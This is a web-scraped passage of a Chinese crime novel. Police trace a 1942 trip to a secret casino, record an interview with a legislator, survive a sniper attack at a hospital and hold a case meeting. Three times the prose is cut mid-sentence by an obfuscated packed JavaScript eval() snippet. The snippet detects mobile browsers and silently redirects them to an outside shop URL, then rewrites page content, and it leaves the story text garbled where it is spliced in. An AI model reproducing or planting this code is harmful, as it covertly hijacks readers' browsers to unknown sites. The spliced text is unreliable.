两天之后,议员办公室终于同意了盛苒的见面请求。 当她再次乘坐飞机飞往凌顿的时候,当年的航空记录也查到了,一架塞斯纳citation于42年1月5日早7点45分从赛因港出发,飞往黑夏川,系统里电子飞行记录显示如下信息。 机型:Citation 560 起飞地:赛因港约海沙机场 降落地:黑夏川 小雨川机场 机组:2人(机长:方楚副驾:钟雨贺) 乘客:林律奚索骁 言行诺 “这里有点问题。”电脑屏幕上,卫其宏手指降落机场一栏示意给组长,后者站在他背后,顺着他的手指看到三个字。“小雨川?” “对。”卫其宏胸有成竹的点头,“我以前去黑夏川玩过,落地机场是大雨川,刚查了下,原来黑夏川有两个机场,一个大一个小,大的叫大雨川,一般航司还有私人飞机一般都在那里起降;小的其实算不上正经机场,是给运输机加油用的,偶尔也给小型客机备降用,知道的人应该不多。” 高尚桢让他搜出国家地图,找出黑夏川,又在电脑上持续放大,终于在上角发现小雨川的机场标志。 屏幕上的光标围着小雨川机场绕了一圈,卫其宏嘴里也跟着不住嘀咕,“不对啊,这附近什么也没有,嗯?这有个矿场,不对,废弃了……嗯,这片都是荒谷,他们去这里干嘛?探险?不对,一月可是冬天啊。这里,哎,这里有个小叉……放大看看,咦?银脊滑雪场?已停业?这里有条虚线是什么意思?……嗯,是索道,废了?” 高尚桢发号施令:“搜一下银脊滑雪场。” ——银脊滑雪场(Yinji Ski Resort)位于南部联区黑夏川市郊外,靠近恒南雪脊西侧,海拔约1850米至2450米。滑雪场总占地约8平方公里,共有4条滑道,长度约12公里,配套索道2条。 …… 卫其宏一面读一面皱眉,到了4条滑道那里已啊出声来,“啊?这么小?” 界至野从旁边挤过来,笑嘻嘻的凑热闹,“怎么?少爷发现新情况了?” 卫其宏没好气的看一眼这个土生土长,就没怎么离开过红驼的同事,“我说这雪场太小了,出去玩当然选大滑雪场啊,起码得有个十几二十几条滑道。” 他又继续往下读: ——于新林德02年5月建成,主要服务周边城市滑雪爱好者……42年2月停止运营,目前处于废弃状态。 “……咦?42年2月?”看到这行时间,卫其宏声音突然顿住,他扭脸瞅瞅组长,“太巧了吧?开了四十年的滑雪场,偏偏42年就停了?” 高尚桢摩挲着下巴,没有贸然下定论,“你好好找一找,小雨川机场附近有没有其他宾馆或是休闲会所之类的。” 结论是距离小雨川机场的六十公里内,除了已经停用的银脊滑雪场,就只剩下更远处的一个废弃铜矿,其余则大多被原始森林覆盖,除此便是陡峭峡谷;与之相反的是大雨川机场,不仅与繁华市区之间有多条高速和地铁相连,而且南向二十公里处,就有坐拥二十八条滑道的著名滑雪场。 于是银脊滑雪场作为关键词又被重新搜索,然而网络上关于它的介绍少得可怜,仿佛有只巨掌将它的一切痕迹悄然抹去。 卫其宏搜了半天毫无结果,突然脑筋一动,觉得自己懂了:“这个滑雪场肯定被他们包下了,他们肯定不想跟一般人一起滑,这才跑到一个偏僻地方滑雪。” 界至野对此结论嗤之以鼻:“天真!”他撇嘴不屑,然后习惯性的要去摸烟,忽然一眼瞄到不动声色的老大,赶紧把手插进裤袋不敢乱动,“这地方又偏又险,哪个做生意的把滑雪场修这儿啊,这都是障眼法。” 卫其宏一愣,发现组长神色平静,似乎默认此言,他也跟着呃一声,“请教界老,这是什么障眼法?” 界至野嘿嘿冷笑,“什么银脊滑雪场啊,我看不是赌场就是……”他瞧一眼正在静静听讲的安月见,又把后面的话吞了回去,“总之不是什么正经地方。我说呢,这遮遮掩掩的,那个律师还有什么议员死活不说。这帮人啊,当时准没干好事,结果不知怎么的遇到一帮煞星,这倒霉催的。” “这回真懂了!”卫其宏恍然大悟,“怪不得!我就说这两伙……”他攥起左右拳彼此轻碰碰,“这团体A和团体B天差地别,怎么就能碰一起去呢!” “你继续查查看能不能有更多资料,包括42年的警方记录。”一直没吭声的高尚桢终于开口,“安月见,你把情况总结一下给盛苒发过去。她现在差不多该下飞机了,这能帮她更好的掌握主动。” =========================================== 盛苒与方楚的录音 案件编号:50-NL-HT-1016-11 证据编号:E-12 存储介质:光盘(CD-R,单层) 文件格式:.WAV(单声道,16bit PCM,44.1kHz) 文件名:E12_FieldInterview_50-1016-11_20-34.wav 时长:00:32:17 归档时间:50年10月16日 10:12 归档人:西部联区红驼城刑事组盛苒(警号:047231) 校验码(MD5):f1a9c6d3b5e2a47e89f421b3f67c91a8 “方议员,谢谢你见我。再重申一次:现在录音笔已经打开了。” “孟秘书,我和盛警官单独谈。” ——轻轻关门声。 “我还是第一次进入议员办公室,这里布置真不错。” “我很忙,不妨开门见山。我很好奇为什么红驼警方要坚持不懈联系我的办公室。” “林律奚。” “什么?” “林律奚在红驼城受到袭击。” “遇到袭击?他怎么样?!” “目前已经脱离危险。” ——嘘气声 “怎么回事?” “其余情况还在调查中,不过初步怀疑可能与42年事件相关。” “你们怎么知道……” ——声音突然停顿 “方议员?” ——轻轻呼气声。 ——挪动椅子的声音。 “他受到了什么袭击?什么时候的事?” “一周半前有人闯入杜蒙在红驼的办公室,刺伤了他。虽然目前已脱离危险,但身体还很虚弱,我们希望从方议员这里了解到更多情况。” “他人在红驼被袭,你来我这里问缘故?是不是应该问本人比较好?” “我希望和议员当面谈,不仅仅是因为林律师被袭击的缘故,实际上红驼警方正在调查另外两起案件。” “还有别的案子?” “我们怀疑这两起命案都与42年事件有关。” “命案?等等,谁死了?” “具体案情细节我们还不能透露。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16652181|188261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“那换个问题,死者是不是我认识的人?” “如果您是指索骁,那我可以肯定的告诉你,死者不是他。” ——骤然沉默 “请你相信,议员,警方知道的比你想象的多得多。我今天来这里只是为核实一些细节,请你配合调查。” ——沉默 “目前已经出现了两名死者,还有林律奚在内的另外两人重伤。此案已引本地记者的强烈兴趣。如果凶手继续犯案,影响可能继续扩大。你尽快配合调查,我们就会更可能在舆论发酵之前解决这个案子,方议员。” ——沉默 “议员?” “林律奚说了什么?” “林律师目前还很虚弱。杜蒙律所那边非常担心他的情况,我们刑事组已被要求提供对他的近身保护。” ——沉默 “议员?” “录音笔还开着?” “是的。” “这样吧。以下的话你可以记录,我的律师同意后,也在相关法律文件上引用,但你不能直接把这份录音作为证据提交法庭。如果我提到‘不要公开’,你就不能公开,否则我会让律师介入。” “请放心,只要不涉及到重要案情,我们对私人信息不感兴趣。” ——沉默。 “议员?” “……我要抽根烟,你不介意吧。” “不,请随意。” ——啪嗒,打火机打开的声音。 “你们想知道什么?” “42年的事。 ——烟灰缸挪动的声音。 “大四寒假,我们几个人去了黑夏川。” “什么时间?” “42年1月5号,刚过完新年。” “我们是指?” “嗯,我,林律奚,还有……” ——短暂停顿 “索骁。” “还有别人吗?” “你是指……” “言行诺。” ——挪动椅子的声音 “对的,不好意思,时间太久,我有点忘了。” “坐的是塞斯纳citation?” ——沉默。 “方议员。” “对,我家里的私人飞机。” “你们住在银脊内部?” “那里提供成套服务。” “之后呢?” “开始很顺利,在第三天晚上出事了。” “‘出事了’具体是指?” “我们遇到了袭击,是团伙犯罪。” “袭击?银脊会所里?” “……嗯,对。” “请说说具体情况。对方有多少人,当时什么情况,有武器吗?是单独针对你们,还是袭击所有客人?” “其实我也不太清楚,当时正……正准备休息,突然闯进好多全副武装的蒙面人,人人手持冲锋枪。当时情况很混乱,很多细节我到现在也没记起来,就记得有人尖叫,好像还有人喊之类的,我当时可能跟着人流吧,记不太清,就记得身体一震,再睁开眼已经在病床上了。” “医生说我中了两弹,大出血,部分肝脏和脾脏被切除,在医院躺了四个月。” “抱歉。” “没关系,毕竟是八年前的事了,都过去了……对我来说都过去了。” “好的,谢谢你,议员,你提供的信息对我们很宝贵,我还要再问几个问题。” “你可以问,不过我还是要申明:要提交这段录音作为证据,必须得到我的同意。” “好的,您放心。其他人情况怎么样?” “我一直处在昏迷中,不太清楚。” “醒来之后没有问吗?你们关系很好吧。” “家人怕我情绪激动,一直没有说,后来又转学了,何况这也不是什么必须知道的事。” ——吸烟的声音 “还记得案发宾馆当时有多少人吗?” “包括客人和员工,几十人,大概吧。” “这么多人?都在大厅里吗?还是餐厅?” “……不记得。” “劫匪是冲进每个人的房间里抓人的吗?” “……不记得。” “方议员,希望您如实回答我。” “你们真是去滑雪吗?全世界最好的滑雪场都任你们选,同城就有一座28条滑道的著名雪场,你们为什么会去只有四条滑道的银脊?” ——沉默。 “方议员,请你讲出实情。这对解决目前凶案,乃至当年的案子都有很大帮助,就像我一再重申的,任何与案件无关的信息警方都会严格保密。” ——沉默 “方议员?” “我下面说的,你不要提交给法庭。” “我保证。” ——啪嗒。 ——啪嗒啪嗒。 “我们并不是去滑雪,银脊下面,嗯,下面是个赌场。” “赌场?” “那种不用登记,不会追究客人身份的赌场。当时大四了,希望能肆无忌惮玩一次,就这样。” “明白了。当时其他人情况怎么样?言行诺是重伤去世的吗?其他人呢?还有其他客人怎么样?” “我说过了,我一直处在昏迷中,具体不太清楚。” “你确定劫匪的目的是打劫赌场吗?你丢了什么财物吗?” “不确定,不记得。” “我知道了。这些劫匪抓到了吗?” “不知道。” “不知道?” “这件事对我个人生活造成了很大影响,我想彻底忘掉,就这样。” “如今凶案很可能与当年赌场劫案有关。如果牵涉到凶案的情况下,如果林律奚仍要袒护凶手,那么你觉得最大可能性是谁?” “到底谁死了?……好吧,警方不能透漏。林律奚袒护谁,他当然要……” ——声音戛然而止 “议员?” “这件事发生后我和林律奚很少见面,不能回答你的问题。” “有可能是索骁吗?” “对不起,我还有个会,就到这里吧。” “方议员……” ——滴 “孟秘书,请你进来。” ——开门声 ——录音笔关闭。 13. 医院惊魂 在开往纪念医院的路上,高尚桢聆听着盛苒发回来的对话音频。 录音里的两个人对话声音不高,有时还会有断续。为了听清,高尚桢一反常态紧闭车窗,不过风声和路旁的嘈杂还是从窗缝里挤进来,时不时将对话淹没,他只能很小心的开车。 雪佛兰平稳而缓慢的前行,跟在后面的卫其宏和界至野啧啧称奇。 可惜安月见不在车上,高组长无法为自己车技正名,还好另一位乘客仍旧端正的坐在后方,神色也此前一模一样。显然无论之前的狂飙突进还是今日的稳重前行,对这个人都无丝毫影响。 高组长从后视镜里觑到他的脸色,忽然开口,“调查官对黑夏川熟吗?” 程宥望向窗外,似乎信口回答:“还可以。” “是吗——”高尚桢拖长声音,“像你之前说的‘“有一点点研究’那个程度?” 程宥转过头,两人目光在镜中相交,他唇边展开一个恰到好处的弧度,“可以这样认为。” “那我可以认为你是专家了。”雪佛兰轻巧的转过街角,高尚桢似也随口一问,“银脊滑雪场是怎么样一个地方?” 程宥饶有兴趣的望他一眼,回答干净利落,“没去过。” 高尚桢伸手正了正后视镜,令后座乘客的身形映入正中央,“我还以为你会回答不知道,不清楚。” 程宥笑了,他重新转头去看窗外,“两种回答不一样吗?” 滴—— 高组长狠狠问候了下突然别到前方的摩托车,“不一样。” 汽车很快抵达纪念医院VIP病房。 一周过去,林律奚的脸色明显已好上很多,起身也不再动辄一身虚汗,他望了程宥一眼,一言不发的转过头去。 高尚桢也向程宥看了一眼,对方和上次一样,安静的在门口站着。 有意思。他想,不过这是怎么回事? 付助理大概去办理转院手续,病房里除了刘律师之外,还多了一张神色冷硬的陌生面孔。对此人刘律师没有做介绍,高尚桢也没问,他从这个陌生人身上嗅到了某种危险的气息。 ——私人保镖。 他在心里有了结论,跟刘律师握握手,很慷慨的表示每三天会轮流派遣一名资深刑警保护林律奚,就从界至野开始。刘律师对“一”这个量词不甚满意,不过亲眼看到人高马大的界刑警,还是勉强接受。 林律奚将去往西郊外的莞荟苑继续修养,这是个红驼土著界至野也没听过的地方,实际上他对这个名字的感受是——“三个草字头,就是嫌我们这里没草,哼!” 高尚桢可不管他怎么变着花样发牢骚,毕竟经过审讯室那一场,他估摸着俩人正看对方不爽,还琢磨得用这个针尖刺一下麦芒,以毒攻毒,说不定能戳破林律奚那面庇护的墙。 寒暄刚刚结束,病房门被推开,两名护士先走进来。她们制服样式和纪念医院大不相同,领口绣有‘莞荟苑’三个字。带护栏的移动床随后被护理员推入病房。 两名护士要上前搀扶病人,被他摆手拒绝。林律奚自己慢慢上了床,护工将蓝色隔帘垂下,隔开床内床外。 一行人离开病房向西侧转去。高尚桢让界至野去电梯间里等,他自己则带头走在最前方,两名便衣跟在身后,刘律师和那位陌生保镖尾随床尾,两名护士在推床两侧。 一行人将林律奚结结实实护在中间。 走廊尽头,界至野早等在那里。他用一只手挡住左侧电梯门,身后电梯中空空无人,旁边另一部电梯也应警方要求而暂时停用。 两名便衣先进入,护士推着病床紧随其后,保镖最后一步迈入,身体靠上门边。几个人加一张病床,几乎占据了全部空间。 高尚桢并没有进去挤,电梯门还不曾完全合拢,他已招呼界至野,“我们走楼梯。”说着推门而出,三下两蹬的跳下楼梯。 待电梯的乘客们到达一楼,两名刑警也刚好从楼梯间奔出。 西向侧门处有辆轿车在阶前静静等候,这是非常豪奢的银色加长款,将它前面的老雪佛兰映衬得格外晦暗,它后面那辆橘红色吉普倒很拉风,卫其宏靠在吉普车头,正百无聊赖的晃着钥匙圈,看到几人出来咧嘴一乐。 雪佛兰另一侧,程宥逆光而立,在与人通电话。他与高尚桢目光相撞,反手将黑色电话扣住,送入西装内侧口袋。高尚桢停下脚步,并没有说话,只是卡着腰站在原处,看着白色轿车的后门缓缓开启,那位保镖抢上一步观察车内,然后挥手让两个护士推移动床向前,准备与车内对接。 界至野转头跟身边便衣嘀咕:“有钱人事真多。” 高尚桢看到程宥拉开雪佛兰的车门准备坐进去,手伸向口袋里去摸车钥匙。 他的手指碰到了钥匙圈。 ——砰! 沉闷的声音突然响起。 移动床后,保镖仰面朝天,栽倒在地,眼睛圆睁,身体一抖一抖不住抽搐。 一个护士面对他在推车,雪白制服上陡地溅出一圈血迹。她的两只手正扶病床,双眼凝固在地上的尸体,就要张嘴尖叫。 不等她声带震动,扑通一声,已向前摔倒。 程宥一记横扫,将她踹翻在地,同时整个人平扑在地。 ——啪! 两人落地刹那,轿车左侧镜应声粉碎。 程宥侧头避开一片炸开的玻璃,鱼跃而起,隔了布帘一把揪住正茫然而起的林律奚,后者刚一愣神,整个人已被一把拽下床,随即只觉身下一滑,已被推入立柱后方。 ——噗噗噗! 短促闷响连串而至,金属撞出的火星中,床身不停打颤,轿车门上也瞬间多出一排弹孔。 吉普车前的卫其宏愣上两秒,猛地大喊出声:“有人袭击!”他不顾躲闪,就要拔枪,突觉胸口崩紧,一股力道随即将他拉倒,几乎就是下个呼吸,他身旁车窗就被子弹击中,玻璃碎片劈里啪啦开始破碎, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16652182|188261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一块碎片紧贴头皮飞过去。 他耳膜轰鸣,惊魂未定,只见组长半蹲在地,左手刚在自己衣襟上松开,右手黑洞洞的枪口已立起,全神贯注判断枪手方向。 几乎一眨眼,不远处程宥已矮身贴近轿车后门。他两道目光在保镖额头的弹孔处一扫而过,又掠向空隙处浑身僵硬无法动弹的其他人,毫无停滞向后仰倒,同时飞出一脚。 他的脊背直直坠地,左脚已重重踹上轮胎。 车子蹭着地,吱嘎摩擦声中向后扭转三十度角,医院门前凭空生出一道掩体。 ——哒哒哒! 枪声疯狂短促,子弹一颗接一颗击来,车窗,车门,车身,眨眼间就冒出许多深洞。 这样不行! 高尚桢压下心跳,高喝一声:“注意掩护!”从吉普车后探出身体,冲子弹射来方向举枪发射,一串子弹噗噗噗射出,火星溅射,尽入对面外墙。 那个方向仍不见人影。 “支援!支援!纪念医院有人受伤!”界至野指挥着两名便衣闪进立柱后,同时开始大声呼叫支援。 就在此时,枪声戛然而止。 高尚桢食指紧勾扳机,全神戒备,余光瞥见程宥从轿车驾驶舱翻身而下,竟然就这样毫无遮掩的站在车前。 高尚桢瞳孔骤缩,吼出了声:“快趴下!” 程宥神色冷静,“是狙击手,弹匣清空。”他抬头望向左前方,目光不住滑动,在一座刚刚竣工的摩天大楼上锁住,一刻一刻上移,直至停下,冷声下令:“通知支援,九点钟方向,摩天大楼,十四层到十六层之间。” 在他发出命令之时,远处突然传来一阵马达轰鸣。 一辆皮卡从路的另一端狂冲而来,四轮如飞,灰尘滚滚,眨眼间已自远飙近,将吉普车侧镜径直撞飞。 高尚桢探身而出,双手举起,砰砰砰对准皮卡迅速开枪,两颗子弹击中右后车厢,一时火花四射。 卫其宏急急跃起,跟进射击,可惜手枪射程有限,卡车又全速奔逃,他几枪都打了空,眼看着它就要脱驰而去,正准备瞄准再射,忽然肘部一麻,枪已脱手。 一个声音在他耳边响起,“枪借我。” 卫其宏看到自己的手枪在空中划出道弧线,落入调查官手中。 接枪,摘镜,侧身,抬手,臂肩拉成直线。 程宥眼望即将消失的卡车,扣下了扳机。 砰! 皮卡右前胎爆裂,车头刹那失控,一头冲上路肩。 程宥手指离开扳机,把枪递还给卫其宏,疾行中戴回眼镜,快步来到立柱后。 他半跪在地,低头去看刚才被他撸下床的病人。 林律奚虽没有中弹,但撞击之下伤口崩裂,绷带间鲜血渗出,此时的他平躺在地,面色苍白,呼吸异常急促。 程宥伸手压住他的伤口,垂头直视他双眼,声音沉静:“慢慢呼吸,跟我数,1, 2, 3——慢慢呼吸。” 14. 狙击之后 大批警车将纪念医院重重包围。 界至野匆匆跟高尚桢汇报,“老大,那个卡车司机送去急救了,应该没大事,这是从他身上搜到的。”说着将一张本地驾照递过去。 高尚桢接过,“你今晚在这里守一夜,我去提人。”又看了看脸上被玻璃渣割出几道伤口的卫其宏,“你去处理一下。” 卫其宏拽拽衣服,“没事。”被界至野一拳砸上肩头,“快点吧,别装了。”这才咽了口吐沫,回头张望。 界至野难得展示同情心:“别心疼你的车了,少爷,这是工伤,局里肯定给报销。” 卫其宏喊冤,“我不是看车,我是看程……”他顿了下,“看调查官去哪了。” 这回轮到界至野哑巴了,半天才凑近高尚桢小声递话:“老大,这人不简单啊,有两下子。”看老大斜了自己一眼,讪讪改口,“……有好几下子。” 高尚桢没吭声,将驾照塞入口袋,一抬头,看到程宥从侧门走出。 门廊顶灯的光将他的影子拉得很长。他双手刚洗过,指间干干净净,不曾留下半丝血迹。 这晚高尚桢在医院长廊上睡了一夜,每次闭上眼,耳边就不断传来砰砰砰的枪击声,一枪,又一枪,每一枪都打在了他的心脏上。 最后他干脆不睡了,脱下外套给打着鼾的卫其宏盖好,悄无声息的到西侧窗前,望向那座灯光暗淡的摩天大楼。 “……九点钟方向,摩天大楼,十四层到十六层之间。” 他默默看了很久,摸出一块巧克力,送进嘴里。 =================== 皮卡司机虽然外伤不轻,倒没生命危险,三点多就清醒了。高尚桢冲急诊室咣咣咣一通问,到手一堆信息,却半条有用的都没有。 “他说自己是被雇来的,对方付钱,让他给出院的情敌一个教训,撞了车跑就行。他没见到雇主的样子,全部通过电话联系。那个电话号码也是一次性的,其他情况还在核实。”高组长黑着眼圈,在八点例会上将最新进展同步给各位组员。 因为盛苒从凌顿归来,三天来刑事组首次全员集合,除了……高尚桢刚想到这里,会议室的门已被拉开,一身挺括西装的程宥无声无息入内,他手里捏着矿泉水瓶,就近在折叠椅上坐下。 卫其宏跟组长熬了一宿,本来哈欠连天,突然看到他猛一个激灵,一刹那瞌睡就没了影子。 对他的小动作高尚桢装没看见,继续给大家通报案情进展:“……狙击手的伏击位置已经查到了,缔结大厦十五楼。” 界至野听得差点蹦起来,“啊!不是,那栋楼离医院直线距离超过五百米了吧!这枪手得神成啥样呀。”刚说完他就觉得不对劲。 ……不对,这里还有个更神的。…… 他紧张的吸溜下嗓子,悄悄溜了一眼调查官,见后者手握水瓶,坐在那里跟个木乃伊一样,不由下意识的绷直身体。 对会议室中的暗潮汹涌视若无睹,高尚桢合上本子,捏了捏眼眶,“现场没有留下什么痕迹,信息室已去调沿路监控了,如果不出所料,应该也不会给我们留下太多线索。” 他抬起头,环顾在场的警官,“大家说说意见吧。” 会议室中沉闷得吓人。 盛苒率先打破平静,她推了推眼镜,看向组长,“那位保镖……” 高尚桢长长吐口气,摇了摇头。 盛苒沉默了一瞬,“……其他人怎么样?” “林律奚伤口有一点恶化,其他人只受了些轻伤。”高尚桢目光投向门口的程宥,“幸亏调查官在场。” 后者拧紧瓶盖,闻言笑笑,算是回应。 盛苒将在一切看在眼里,不免诧异,不过现在不是深究的时候,她转头看向卫其宏贴了满脸的创可贴,提出了第一个问题:“这种情况下,林律奚还是什么都没说?” 高尚桢没出声,瞅了眼界至野,后者在律师病房外守了整夜,此时被上司一眼盯过来,赶紧摇头,“没,我还寻思趁他情绪激动说不定能问出点什么,结果嘴缝得老严实了。副组长,你发回来的录音我听了,我觉得没准真在袒护他那个同学,索,索什么来着。” “索骁。”安月见在旁小声补充。 界至野拍了下桌子,“对!就这个名,所以宁可被打死也不说。”一激动就摸出了烟,发现大家都在看自己,赶紧连烟带手一起塞入了桌底。 安月见小心提出异议,“不对吧?如果是索骁,他为什么要针对林律奚?他们关系这么好。” 卫其宏摇头,“针对林律奚的不一定是索骁,别忘了,潜入局里的那个人特别瘦小,可在医院假冒医生要去杀林律奚的又高又大,明显是俩人。” 安月见被他提醒,也迅速反应过来,依旧费解,“如果不是索骁,那林律奚到底为什么不肯说?” 这个问题没人能回答。 片刻寂静之后,高尚桢敲敲桌子,“在进一步了解索骁的情况之前,我们还不能贸然作结论。现在几乎可以断定的是:白行人和宫达良都参与了当年银脊大案,很可能这就是导致他们八年之后被杀的原因。” “我们当务之急,一是查清案件具体情况,录音里方楚说很多劫匪,肯定不止白和宫两个人,我们要挖出更多细节;第二点,还是得从林律奚身上入手,他是连结银脊劫案和两起凶杀案的锚点,一定要撬开他的嘴巴。” 刑警们一面认真记录,一面点头。 界至野摸着下巴,斟酌开口,“老大,关于你说的第一点,我有个想法。” “我觉得吧,这伙儿去抢银脊的劫匪不一般。那地方可是个赌场,都能吸引一帮公子哥坐私人飞机去玩,平时更不能少了达官贵人,这安保必须得过硬。” “这帮人敢打银脊的主意,肯定是个做惯了的团伙,那既然这样,道儿上的名声也准小不了,绝对有人知道他们的底儿,现在问题是我们离得太远,摸不着那边情况。” “不一定。”高尚桢微做思索,“这几年南边抓得严,很多团伙流窜到西边来。老界,前年你不还被缉私组借过去一阵?我记得当时那伙嫌犯就是南部联区来的。好好查一下,看看目前有多少在押犯是从南部联区,尤其是黑夏川来的。也不要局限我们组内,跟缉私,海关,军火管理部都那边都好好沟通一下。虽然这个案子很大可能是仇杀,但是我们也不能忽视黑吃黑的可能性。” 界至野爽朗应下,“是,老大。” 高尚桢又看向盛苒,“你和小安想办法把索骁社会关系捋清楚,不要轻易放过任何线索。看来我和卫其宏得常往疗养院跑。”他顿了顿,看向程宥,“调查官一起去?” 程宥摘下了眼镜,他慢慢的擦拭着镜片,缓缓点头,“好。” ——反应比平时略慢。 ——镜片很干净,到底擦什么? ——这个矿泉水瓶始终保持三分之二满,这家伙真在喝水? 几个念头成串的飘过脑海,高尚桢脸上不动声色,“大家讨论得很好,问题很有意义。还有,我始终在想一个问题。” “这几个案子为什么发生在这里?为什么是红驼?” ——为什么是红驼? 高尚桢抛出这个问题后,就准备再去一次纪念医院碰碰运气。本来打算叫上卫其宏,看他不住揉眼睛,临时改了主意,让他回去休息,自己则和程宥出发。 九点钟的阳光正好,他捏了捏眼眶,刚准备进入驾驶舱,程宥已从后方绕过来,主动请缨:“我来开。” 高尚桢本能就想拒绝,低头从侧视镜里看到自己布满血丝的眼睛,话到嘴边拐个弯,“好。”他将钥匙甩给程宥,自己拉开后车门钻进去。 程宥上车,拉过安全带系好,微调座椅,伸手转动后视镜。他并没有直接拧钥匙,而是脚先打两下油门,才发动引擎,雪佛兰开始哒哒哒抖了起来。 高尚桢一直在观察他的动作,见状扯了扯嘴角:“你对我这个车况倒挺清楚。” 程宥抬起眼,从后视镜里向他笑笑,踩落离合,挂上档,点下油门。 老车终于醒来,轻颤着爬离车位,从一排警车中滑出,一个转弯后直上主道,融入了长长车流中。 这台老婆(老破)车就从没这么乖过。 高尚桢仰上了靠背,从侧后注视着调查官的脸庞,“那时候你怎么知道狙击手没子弹?” 程宥不紧不慢的开着车,将右侧一辆狂打转向灯却死活无法成功并线的SUV让入前方,司机感激得直跟他摆手。 他笑了笑,“狙击手一般携带10到20枚子弹,很少超过25枚。”他嘴上解释,雪佛兰在黄灯变红的瞬间驰过路口,“当时已射出25发子弹,警方支援即刻到达,枪手没有时间更换弹夹。” 他方向盘一转,汇入前方左道。这条从来将左转司机堵得叫苦连天的拥堵道路,对这台老车来说则是无人之境。 你还有空数多少子弹……真是……到……底是…… 高尚桢思绪渐渐散开,上下眼皮开始打架。 收音机不知何时被打开,音乐轻轻飘了出来。 他头斜枕着椅背,慢慢的坠入了梦乡。 再度醒来时,红彤彤的太阳已然微斜。 高尚桢迷惘的望向四周,车窗外是略显空旷的停车场,稀稀拉拉停了近半数的车,纪念医院的大牌子在秋阳下闪着光。 他抬起腕,发现手表时钟竟然来到下午两点,昏头昏脑的要起身,才发觉身上不知什么时候多了件外套,皱皱巴巴的,好像是上次加班后顺手扔后座上那件。 高组长脑子还有点混混噩噩的,还在捏着衣服领子发呆,突然从前方座椅间探过一个头,“醒了?” 他猝不及防,几乎蹦起,好在反应奇快,压下砰砰心跳,面不变色的回应:“没想到睡这么久。” 程宥笑笑,“恢复精力很重要。”说着拿起矿泉水瓶,打开车门走了下去。 高尚桢抹了把脸,这一刻外套上的褶子和污渍分外扎眼,他把衣服踢到车座底下,暗暗发誓今晚必定是个大洗之日。 ……不过,这家伙就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16652183|188261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样在车里等了五个小时? 推开车门的时候,这念头飞快划过他的脑海。 安全起见,警方又为林律奚换了走廊尽头的另一间病房,没有之前VIP套间豪华,秋日阳光从窄窗透进,细微尘埃在光柱中点点闪亮。刘律师倒并没有过多挑剔。他显然被昨天那场枪战吓到了,领带也有点松散。相比之下,没有亲眼目睹枪战的付助理倒还镇定。 不过两个人加起来,也没有床上的正主沉静。 林律奚一言不发,凝视着塑料管里匀速滴落的消炎药,脸上仿佛扣了张面具,永远一个死气沉沉的表情。 他本来就非常俊美,眼下脸色苍白,和偶像剧的豪门病公子像了个十成十。 高尚桢心里感叹一声,象征性敲敲门,走入病房。 虽然门口结结实实守了四个警察,不过界至野今天还没显示,这让刘律师很恼火。高尚桢解释他出任务去了,自己一定派人会好好保护,不让狙击手有可乘之机。 他特地把“狙击手”这三个字咬得很重,刘大律师果不其然吓了一跳,他在杜蒙职位虽高,但本身并不是刑事律师,突然邂逅这个熟悉又陌生的高端词汇,不免心惊肉跳,余光看到律所的未来主人双目紧闭,也不知道真睡还是假睡,郁闷之余又无可奈何。 高尚桢坐进沙发椅,告诉刘律师保镖的尸检明天出结果,他们可以通知家属,尸体随时可以运送。 这句话令刘律师的脸色愈发晦暗,短短回答过后,便移开了眼神。 ——如果昨天走快一点,现在停尸间的就是我了。 高尚桢读出了他的心思,又状若无意的开口:“……说起来,其实大致情况我们已经从方楚那里知道得差不多了,就是细节上还要找林律师确定一下。” 话音未落,林律奚已骤然睁眼,目光直直穿来,与他在空中短促碰撞了一下,迅速缩回,很快将头转向窗外。 付助理显然不知内情,对方楚两字也毫无反应;但刘律师却被这个名字针扎了一下,脸上立时变色,然而很快就恢复镇定,斟酌说道:“林律师会应法律要求配合调查,只是他目前身体状况不允许,希望警方尽到保护纳税人的职责。” ——唔,有个知道当年事情的。 高尚桢并不指望今天能说动这块病中顽石,探出这点虚实已令他很满意,在敲定了转院时间等其他细节后,他郑重承诺,“我们警方当然会尽力保护公民,这是我们的职责。”说着向门口一指,“就连我们的调查官也会参与保护行动。” 被他乱点将,程宥只是微微一笑,然后走进病房内,向屋内几人点头打招呼。 昨日枪战发生太快,局面又十分混乱,刘律师并没看清飞脚踢车,为自己筑出一道城防的人,就是眼前这个西装笔挺文质彬彬的秀才警察,尽管心中怀疑,还是看在高级职衔份上跟他寒暄。 床上林律奚身体轻轻一震,慢慢回头,望向程宥。 光柱将他眼中的恍惚照亮。 程宥站在原地没有动,“你的伤口重新缝合过,很好。” 